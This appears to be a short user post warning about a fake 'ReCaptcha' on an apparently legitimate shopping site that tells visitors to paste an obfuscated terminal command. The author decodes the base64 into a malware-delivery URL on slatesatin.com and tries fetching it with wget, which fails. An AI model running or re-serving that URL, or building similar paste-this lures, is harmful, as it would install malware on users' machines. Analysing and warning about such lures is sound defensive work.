slatesatin.com

ReCaptcha phishing from eCommerce site Well kids, this is a first. Visited a site looking for a specific product and I get this "ReCaptcha" telling me to paste this link into terminal. Let's have a look at what they are obfuscating (don't click or install payloads from links below): `echo "aHR0cHM6Ly9zbGF0ZXNhdGluLmNvbS9jdXJsL2Q0OGVmNGJkMWM2ZGJkNzUyOWM5YTI1ZjY3YjI5MzNjZWM1MzJiYWRlMTg1ZGU2NTczMmQ4N2IwZTA4YzEzMDM=" | base64 -d ; echo ""` [`https://slatesatin.com/curl/d48ef4bd1c6dbd7529c9a25f67b2933cec532bade185de65732d87b0e08c1303`](https://slatesatin.com/curl/d48ef4bd1c6dbd7529c9a25f67b2933cec532bade185de65732d87b0e08c1303) `wget` [`https://slatesatin.com/curl/d48ef4bd1c6dbd7529c9a25f67b2933cec532bade185de65732d87b0e08c1303`](https://slatesatin.com/curl/d48ef4bd1c6dbd7529c9a25f67b2933cec532bade185de65732d87b0e08c1303) `--2026-06-06 09:49:41--` [`https://slatesatin.com/curl/d48ef4bd1c6dbd7529c9a25f67b2933cec532bade185de65732d87b0e08c1303`](https://slatesatin.com/curl/d48ef4bd1c6dbd7529c9a25f67b2933cec532bade185de65732d87b0e08c1303) `Resolving slatesatin.com (slatesatin.com)... 104.21.32.161, 172.67.152.222` `Connecting to slatesatin.com (slatesatin.com)|104.21.32.161|:443... connected.` `HTTP request sent, awaiting response... 520 <none>` `2026-06-06 09:49:41 ERROR 520: <none>.` ok - in this case, there is no file. But this was literally the first time I have seen blatant and obfuscated instructions to install what I presume is malware directly to a system from a ReCaptcha link on what looks like a legitimate website (maybe it got hacked?). Be careful out there.